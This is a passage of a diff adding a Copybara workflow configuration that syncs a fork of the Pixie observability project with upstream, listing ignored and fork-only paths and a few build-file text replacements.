upstreamed + "src/carnot/exec/BUILD.bazel", # To be upstreamed + "src/carnot/exec/clickhouse_*", # To be upstreamed + "src/carnot/exec/exec_graph.cc", # To be upstreamed + "src/carnot/funcs/builtins/BUILD.bazel", # To be upstreamed + "src/carnot/plan/operators.cc", # To be upstreamed + "src/carnot/plan/operators.h", # To be upstreamed + "src/carnot/plan/plan_fragment.cc", # To be upstreamed + "src/carnot/plan/plan_fragment.h", # To be upstreamed + "src/carnot/planner/cgo_export.cc", + "src/carnot/planner/compiler/graph_comparison.h", # To be upstreamed + "src/carnot/planner/compiler_state/compiler_state.h", # To be upstreamed + "src/carnot/planner/distributed/splitter/splitter.h", # To be upstreamed + "src/carnot/planner/distributedpb/distributed_plan.pb.go", # To be upstreamed + "src/carnot/planner/distributedpb/distributed_plan.proto", # To be upstreamed + "src/carnot/planner/ir/BUILD.bazel", # To be upstreamed + "src/carnot/planner/ir/all_ir_nodes.h", # To be upstreamed + "src/carnot/planner/ir/operators.inl", # To be upstreamed + "src/carnot/planner/ir/pattern_match.h", # To be upstreamed + "src/carnot/planner/logical_planner.cc", # To be upstreamed + "src/carnot/planner/logical_planner_test.cc", # To be upstreamed + "src/carnot/planner/objects/dataframe.cc", # To be upstreamed + "src/carnot/planner/objects/otel.cc", # To be upstreamed + "src/carnot/planner/objects/otel.h", # To be upstreamed + "src/carnot/planner/objects/qlobject.h", # To be upstreamed + "src/carnot/planner/plannerpb/service.proto", # To be upstreamed + "src/carnot/planner/plannerpb/service.pb.go", # To be upstreamed + "src/carnot/planpb/plan.pb.go", # To be upstreamed + "src/carnot/planpb/plan.proto", # To be upstreamed + "src/carnot/planpb/test_proto.h", # To be upstreamed + "src/common/testing/protobuf.h", # To be upstreamed + "src/common/uuid/uuid_utils.h", # To be upstreamed + "src/experimental/standalone_pem/BUILD.bazel", # To be upstreamed + "src/experimental/standalone_pem/vizier_server.h", # To be upstreamed + "src/experimental/standalone_pem/standalone_pem_manager.h", # To be upstreamed + "src/experimental/standalone_pem/standalone_pem_manager.cc", # To be upstreamed + "src/shared/services/pgtest/pgtest.go", # To be upstreamed + "src/shared/version/BUILD.bazel", # To be upstreamed + "src/stirling/core/BUILD.bazel", # To be upstreamed + "src/stirling/obj_tools/BUILD.bazel", # Issue with k8sstormcenter CI infra + "src/stirling/source_connectors/perf_profiler/symbolizers/symbolizer_test.cc", # To be upstreamed + "src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/**", + "src/ui/README.md", # should be moved to fork only file + "src/utils/testingutils/docker/elastic.go", # To be upstreamed + "src/utils/shared/certs/**", # cert-manager support (upstream) + "src/vizier/funcs/md_udtfs/**", # Clickhouse UDTF changes + "src/vizier/services/agent/shared/manager/BUILD.bazel", # ASAN build changes. Likely to be upstreamed + "src/vizier/services/cloud_connector/bridge/**", # should be made generic and upstreamed + "src/vizier/services/metadata/metadatapb/BUILD.bazel", + "src/vizier/services/metadata/local/**", # clickhouse testing changes, likely can be removed + "src/api/go/pxapi/vizier.go", # mutation support + "src/vizier/services/query_broker/**", # mutation and clickhouse changes to upstream + "src/pixie_cli/BUILD.bazel", # fork customizations, see if this can be parameterized + "WORKSPACE", # upstream misspelling + # Many of these changes will be upstreamed, but it will be easier to keep this + # whole tree is frozen in the meantime. + "src/e2e_test/perf_tool/**", + "src/e2e_test/protocol_loadtest/skaffold_client.yaml", # --config=x86_64_sysroot + "src/e2e_test/protocol_loadtest/skaffold_loadtest.yaml", # --config=x86_64_sysroot + "src/utils/shared/k8s/apply.go", # perf_tool prerendered-deploy support + "src/utils/shared/k8s/delete.go", # perf_tool prerendered-deploy support + # Go module manifests carry fork-only deps (parquet-go) and version bumps + # required by perf_tool's parquet exporter. Upstream Go dep updates will + # need to be reconciled by hand. + "go.mod", + "go.sum", + "go_deps.bzl", +] + +# Files/dirs that exist only in the fork and must not be deleted by copybara. +fork_only_files = [ + ".github/workflows/copybara_pixie_oss.yaml", + ".github/workflows/perf_clickhouse.yaml", + ".github/workflows/perf_soc_attack.yaml", + "PLATFORM.md", + "ci/private/**", + "k8s/vizier/bootstrap/adaptive_export_*", + "k8s/vizier/bootstrap/kustomization.yaml", + "src/carnot/planner/ir/clickhouse_*", + "src/vizier/services/adaptive_export/**", + "src/vizier/services/metadata/local/**", + "tools/private/**", +] + +core.workflow( + name = "default", + origin = git.origin( + url = source_repo, + ref = "main", + ), + destination = git.destination( + url = dest_repo, + fetch = "main", + push = "main", + ), + origin_files = glob( + ["**"], + exclude = ignored_dirs, + ), + destination_files = glob( + ["**"], + exclude = ignored_dirs + fork_only_files, + ), + authoring = authoring.pass_thru("k8sstormcenter-buildbot "), + mode = "ITERATIVE", + transformations = [ + core.replace( + before = 'package(default_visibility = ["//src/stirling:__subpackages__"])', + after = 'package(default_visibility = [\n "//src/carnot:__subpackages__",\n "//src/stirling:__subpackages__",\n])', + paths = glob([ + "src/stirling/source_connectors/socket_tracer/BUILD.bazel", + "src/stirling/source_connectors/socket_tracer/testing/container_images/BUILD.bazel", + ]), + ), + core.replace( + before = ' name = "data_stream_test",\n srcs', + after = ' name = "data_stream_test",\n timeout = "moderate",\n srcs', + paths = glob(["src/stirling/source_connectors/socket_tracer/BUILD.bazel"]), + multiline = True, + ), + core.replace( + before = ' name = "http2_trace_bpf_test",\n timeout = "moderate",', + after = ' name = "http2_trace_bpf_test",\n timeout = "long",', + paths = glob(["src/stirling/source_connectors/socket_tracer/BUILD.bazel"]), + multiline = True, + ), + ], +)